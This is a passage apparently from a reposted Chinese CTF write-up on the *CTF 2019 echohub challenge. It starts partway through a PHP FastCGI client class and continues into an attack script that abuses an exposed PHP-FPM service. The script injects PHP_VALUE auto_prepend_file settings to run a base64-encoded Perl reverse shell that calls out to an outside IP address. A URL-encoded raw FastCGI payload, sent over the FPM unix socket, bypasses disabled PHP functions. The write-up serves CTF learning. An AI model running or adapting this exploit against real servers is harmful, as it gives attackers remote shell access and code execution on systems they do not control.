    		       . chr( $requestId & 0xFF )        /* requestIdB0 */
    		       . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
    		       . chr( $clen & 0xFF )             /* contentLengthB0 */
    		       . chr( 0 )                        /* paddingLength */
    		       . chr( 0 )                        /* reserved */
    		       . $content;                     /* content */
    	}
    
    	/**
    	 * Build an FastCGI Name value pair
    	 *
    	 * @param String $name Name
    	 * @param String $value Value
    	 *
    	 * @return String FastCGI Name value pair
    	 */
    	private function buildNvpair( $name, $value ) {
    		$nlen = strlen( $name );
    		$vlen = strlen( $value );
    		if ( $nlen < 128 ) {
    			/* nameLengthB0 */
    			$nvpair = chr( $nlen );
    		} else {
    			/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
    			$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
    		}
    		if ( $vlen < 128 ) {
    			/* valueLengthB0 */
    			$nvpair .= chr( $vlen );
    		} else {
    			/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
    			$nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    		}
    
    		/* nameData & valueData */
    
    		return $nvpair . $name . $value;
    	}
    
    	/**
    	 * Read a set of FastCGI Name value pairs
    	 *
    	 * @param String $data Data containing the set of FastCGI NVPair
    	 *
    	 * @return array of NVPair
    	 */
    	private function readNvpair( $data, $length = null ) {
    		$array = array();
    		if ( $length === null ) {
    			$length = strlen( $data );
    		}
    		$p = 0;
    		while ( $p != $length ) {
    			$nlen = ord( $data{$p ++} );
    			if ( $nlen >= 128 ) {
    				$nlen = ( $nlen & 0x7F << 24 );
    				$nlen |= ( ord( $data{$p ++} ) << 16 );
    				$nlen |= ( ord( $data{$p ++} ) << 8 );
    				$nlen |= ( ord( $data{$p ++} ) );
    			}
    			$vlen = ord( $data{$p ++} );
    			if ( $vlen >= 128 ) {
    				$vlen = ( $nlen & 0x7F << 24 );
    				$vlen |= ( ord( $data{$p ++} ) << 16 );
    				$vlen |= ( ord( $data{$p ++} ) << 8 );
    				$vlen |= ( ord( $data{$p ++} ) );
    			}
    			$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
    			$p                                   += ( $nlen + $vlen );
    		}
    
    		return $array;
    	}
    
    	/**
    	 * Decode a FastCGI Packet
    	 *
    	 * @param String $data String containing all the packet
    	 *
    	 * @return array
    	 */
    	private function decodePacketHeader( $data ) {
    		$ret                  = array();
    		$ret['version']       = ord( $data{0} );
    		$ret['type']          = ord( $data{1} );
    		$ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
    		$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
    		$ret['paddingLength'] = ord( $data{6} );
    		$ret['reserved']      = ord( $data{7} );
    
    		return $ret;
    	}
    
    	/**
    	 * Read a FastCGI Packet
    	 *
    	 * @return array
    	 */
    	private function readPacket() {
    		if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
    			$resp            = $this->decodePacketHeader( $packet );
    			$resp['content'] = '';
    			if ( $resp['contentLength'] ) {
    				$len = $resp['contentLength'];
    				while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
    					$len             -= strlen( $buf );
    					$resp['content'] .= $buf;
    				}
    			}
    			if ( $resp['paddingLength'] ) {
    				$buf = fread( $this->_sock, $resp['paddingLength'] );
    			}
    
    			return $resp;
    		} else {
    			return false;
    		}
    	}
    
    	/**
    	 * Get Informations on the FastCGI application
    	 *
    	 * @param array $requestedInfo information to retrieve
    	 *
    	 * @return array
    	 */
    	public function getValues( array $requestedInfo ) {
    		$this->connect();
    		$request = '';
    		foreach ( $requestedInfo as $info ) {
    			$request .= $this->buildNvpair( $info, '' );
    		}
    		fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
    		$resp = $this->readPacket();
    		if ( $resp['type'] == self::GET_VALUES_RESULT ) {
    			return $this->readNvpair( $resp['content'], $resp['length'] );
    		} else {
    			throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    		}
    	}
    
    	/**
    	 * Execute a request to the FastCGI application
    	 *
    	 * @param array $params Array of parameters
    	 * @param String $stdin Content
    	 *
    	 * @return String
    	 */
    	public function request( array $params, $stdin ) {
    		$id = $this->async_request( $params, $stdin );
    
    		return $this->wait_for_response( $id );
    	}
    
    	/**
    	 * Execute a request to the FastCGI application asyncronously
    	 *
    	 * This sends request to application and returns the assigned ID for that request.
    	 *
    	 * You should keep this id for later use with wait_for_response(). Ids are chosen randomly
    	 * rather than seqentially to guard against false-positives when using persistent sockets.
    	 * In that case it is possible that a delayed response to a request made by a previous script
    	 * invocation comes back on this socket and is mistaken for response to request made with same ID
    	 * during this request.
    	 *
    	 * @param array $params Array of parameters
    	 * @param String $stdin Content
    	 *
    	 * @return Integer
    	 */
    	public function async_request( array $params, $stdin ) {
    		$this->connect();
    		// Pick random number between 1 and max 16 bit unsigned int 65535
    		$id = mt_rand( 1, ( 1 << 16 ) - 1 );
    		// Using persistent sockets implies you want them keept alive by server!
    		$keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
    		$request       = $this->buildPacket( self::BEGIN_REQUEST
    			, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
    			, $id
    		);
    		$paramsRequest = '';
    		foreach ( $params as $key => $value ) {
    			$paramsRequest .= $this->buildNvpair( $key, $value, $id );
    		}
    		if ( $paramsRequest ) {
    			$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    		}
    		$request .= $this->buildPacket( self::PARAMS, '', $id );
    		if ( $stdin ) {
    			$request .= $this->buildPacket( self::STDIN, $stdin, $id );
    		}
    		$request .= $this->buildPacket( self::STDIN, '', $id );
    		if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
    			$info = stream_get_meta_data( $this->_sock );
    			if ( $info['timed_out'] ) {
    				throw new TimedOutException( 'Write timed out' );
    			}
    			// Broken pipe, tear down so future requests might succeed
    			fclose( $this->_sock );
    			throw new \Exception( 'Failed to write request to socket' );
    		}
    		$this->_requests[ $id ] = array(
    			'state'    => self::REQ_STATE_WRITTEN,
    			'response' => null
    		);
    
    		return $id;
    	}
    
    	/**
    	 * Blocking call that waits for response to specific request
    	 *
    	 * @param Integer $requestId
    	 * @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
    	 *
    	 * @return string  response body
    	 */
    	public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    		if ( ! isset( $this->_requests[ $requestId ] ) ) {
    			throw new \Exception( 'Invalid request id given' );
    		}
    		// If we already read the response during an earlier call for different id, just return it
    		if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
    		     || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    		) {
    			return $this->_requests[ $requestId ]['response'];
    		}
    		if ( $timeoutMs > 0 ) {
    			// Reset timeout on socket for now
    			$this->set_ms_timeout( $timeoutMs );
    		} else {
    			$timeoutMs = $this->_readWriteTimeout;
    		}
    		// Need to manually check since we might do several reads none of which timeout themselves
    		// but still not get the response requested
    		$startTime = microtime( true );
    		do {
    			$resp = $this->readPacket();
    			if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
    				if ( $resp['type'] == self::STDERR ) {
    					$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
    				}
    				$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
    			}
    			if ( $resp['type'] == self::END_REQUEST ) {
    				$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
    				if ( $resp['requestId'] == $requestId ) {
    					break;
    				}
    			}
    			if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
    				// Reset
    				$this->set_ms_timeout( $this->_readWriteTimeout );
    				throw new \Exception( 'Timed out' );
    			}
    		} while ( $resp );
    		if ( ! is_array( $resp ) ) {
    			$info = stream_get_meta_data( $this->_sock );
    			// We must reset timeout but it must be AFTER we get info
    			$this->set_ms_timeout( $this->_readWriteTimeout );
    			if ( $info['timed_out'] ) {
    				throw new TimedOutException( 'Read timed out' );
    			}
    			if ( $info['unread_bytes'] == 0
    			     && $info['blocked']
    			     && $info['eof'] ) {
    				throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
    			}
    			throw new \Exception( 'Read failed' );
    		}
    		// Reset timeout
    		$this->set_ms_timeout( $this->_readWriteTimeout );
    		switch ( ord( $resp['content']{4} ) ) {
    			case self::CANT_MPX_CONN:
    				throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
    				break;
    			case self::OVERLOADED:
    				throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
    				break;
    			case self::UNKNOWN_ROLE:
    				throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
    				break;
    			case self::REQUEST_COMPLETE:
    				return $this->_requests[ $requestId ]['response'];
    		}
    	}
    }
    
    $client    = new Client( 'tcp://127.0.0.1:9000', - 1 );
    #$client    = new Client( 'unix:///run/php/php7.3-fpm.sock', - 1 );
    $php_value = "auto_prepend_file = php://input";
    $filepath  = '/var/www/html/index.php';
    $shellcode = base64_encode( 'perl -e \'use Socket;$i="117.48.197.137";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' );
    $content   = "<?php system(base64_decode('$shellcode'));exit();?>";
    echo $client->request(
    	array(
    		'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    		'REQUEST_METHOD'    => 'POST',
    		'SCRIPT_FILENAME'   => $filepath,
    		'SERVER_SOFTWARE'   => 'php/fcgiclient',
    		'REMOTE_ADDR'       => '127.0.0.1',
    		'REMOTE_PORT'       => '9985',
    		'SERVER_ADDR'       => '127.0.0.1',
    		'SERVER_PORT'       => '80',
    		'SERVER_NAME'       => 'mag-tured',
    		'SERVER_PROTOCOL'   => 'HTTP/1.1',
    		'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    		'CONTENT_LENGTH'    => strlen( $content ),
    		'PHP_VALUE'         => $php_value,
    		'PHP_ADMIN_VALUE'   => 'allow_url_include = On'
    	),
    	$content
    );

    搭建nginx和fpm,并通过tcp://127.0.0.1:9000进行通讯,运行FPM攻击脚本,并使用tcpdump抓取攻击数据包

    CTF 2019 Mywebsql Echohub WriteUp

    利用16进制的RAW转换并进行url编码:

    function hexToStr( $hex ) {
    	$str = "";
    	for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
    		$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
    	}
    
    	return $str;
    }
    
    $str = '0101b0720008000000010000000000000......00000000';
    var_dump( urlencode( hexToStr( $str ) ) );

    这里最后选择未被禁用的stream_socket_client函数和FPM进行通讯

    $shellcode = '$f = stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,3);echo 111;$payload = urldecode("%01%01%B0r%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B0r%01%87%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0F%0ESERVER_SOFTWAREphp%2Ffcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEmag-tured%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%03CONTENT_LENGTH341%09%1FPHP_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%0F%16PHP_ADMIN_VALUEallow_url_include+%3D+On%01%04%B0r%00%00%00%00%01%05%B0r%01U%00%00%3C%3Fphp+system%28base64_decode%28%27cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTE3LjQ4LjE5Ny4xMzciOyRwPTc3Nzc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwc*0b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw%3D%3D%27%29%29%3Bexit%28%29%3B%3F%3E%01%05%B0r%00%00%00%00");echo 222;stream_socket_sendto($f,$payload);';

    此时便获得了一个不受php.ini限制的shell,获取去flag的方式和第一个题目此时一致。

    参考

    https://blog.csdn.net/qq_22863733/article/details/80349120

    https://www.zhaoj.in/read-5479.html

    https://codingstandards.iteye.com/blog/836588

    https://github.com/sixstars/starctf2019/tree/master/web-echohub


    以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

    查看所有标签

    猜你喜欢:

    本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

    实用语义网

    实用语义网

    2009-2 / 59.00元

    《实用语义网RDFS与OWL高效建模(英文版)》是语义网的入门教程,详细讲述语义网的核心内容的语言,包括语义网的概念、语义建模等。语义网的发展孕育着万维网及其应用的一场革命,作为语义网核心内容的语言:RDF和OWL,逐渐得到广泛的重视和应用。 《实用语义网RDFS与OWL高效建模(英文版)》对于任何对语义网感兴趣的专业技术人员都是十分难得的参考书。一起来看看 《实用语义网》 这本书的介绍吧!

    JSON 在线解析
    JSON 在线解析

    在线 JSON 格式化工具

    MD5 加密
    MD5 加密

    MD5 加密工具

    XML 在线格式化
    XML 在线格式化

    在线 XML 格式化压缩工具